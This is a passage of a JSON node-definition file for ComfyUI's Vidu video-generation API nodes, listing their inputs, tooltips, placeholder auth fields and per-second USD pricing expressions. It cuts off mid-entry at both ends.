{"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "subjects", "prompt", "audio", "duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ReferenceVideoNode", "display_name": "Vidu2 Reference-to-Video Generation", "description": "Generate a video from multiple reference images and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.375 : 0.125;\n $perSec := $is1080 ? 0.05 : 0.025;\n $audioCost := widgets.audio = true ? 0.075 : 0;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1) + $audioCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2StartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "duration": ["INT", {"default": 5, "min": 2, "max": 8, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2StartEndToVideoNode", "display_name": "Vidu2 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduExtendVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video extension.", "options": [{"key": "viduq2-pro", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}, {"key": "viduq2-turbo", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}]}], "video": ["VIDEO", {"tooltip": "The source video to extend."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for the extended video (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"end_frame": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "prompt", "seed"], "optional": ["end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduExtendVideoNode", "display_name": "Vidu Video Extension", "description": "Extend an existing video by generating additional frames.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := $lookup(widgets, \"model.duration\");\n $res := $lookup(widgets, \"model.resolution\");\n $contains($m, \"pro\")\n ? (\n $base := $lookup({\"720p\": 0.15, \"1080p\": 0.3}, $res);\n $perSec := $lookup({\"720p\": 0.05, \"1080p\": 0.075}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : (\n $base := $lookup({\"720p\": 0.075, \"1080p\": 0.2}, $res);\n $perSec := $lookup({\"720p\": 0.025, \"1080p\": 0.05}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduMultiFrameVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro", "viduq2-turbo"]}], "start_image": ["IMAGE", {"tooltip": "The starting frame image. Aspect ratio must be between 1:4 and 4:1."}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p"]}], "frames": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of keyframe transitions (2-9).", "options": [{"key": "2", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "3", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "4", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "5", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "6", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "7", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "8", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "9", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt9": ["STRING", {"tooltip": "Text prompt for frame 9 transition.", "default": "", "multiline": true}], "end_image9": ["IMAGE", {"tooltip": "End frame image for segment 9. Aspect ratio must be between 1:4 and 4:1."}], "duration9": ["INT", {"tooltip": "Duration for segment 9 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "start_image", "seed", "resolution", "frames"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduMultiFrameVideoNode", "display_name": "Vidu Multi-Frame Video Generation", "description": "Generate a video with multiple keyframe transitions.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "frames", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "frames.duration1", "type": "INT"}, {"name": "frames.duration2", "type": "INT"}, {"name": "frames.duration3", "type": "INT"}, {"name": "frames.duration4", "type": "INT"}, {"name": "frames.duration5", "type": "INT"}, {"name": "frames.duration6", "type": "INT"}, {"name": "frames.duration7", "type": "INT"}, {"name": "frames.duration8", "type": "INT"}, {"name": "frames.duration9", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $n := $number(widgets.frames);\n $is1080 := widgets.resolution = \"1080p\";\n $d1 := $lookup(widgets, \"frames.duration1\");\n $d2 := $lookup(widgets, \"frames.duration2\");\n $d3 := $n >= 3 ? $lookup(widgets, \"frames.duration3\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"frames.duration4\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"frames.duration5\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"frames.duration6\") : 0;\n $d7 := $n >= 7 ? $lookup(widgets, \"frames.duration7\") : 0;\n $d8 := $n >= 8 ? $lookup(widgets, \"frames.duration8\") : 0;\n $d9 := $n >= 9 ? $lookup(widgets, \"frames.duration9\") : 0;\n $totalDuration := $d1 + $d2 + $d3 + $d4 + $d5 + $d6 + $d7 + $d8 + $d9;\n $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.3 : 0.15;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n : (\n $base := $is1080 ? 0.2 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3TextToVideoNode", "display_name": "Vidu Q3 Text-to-Video Generation", "description": "Generate video from a text prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3ImageToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p", "2K"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 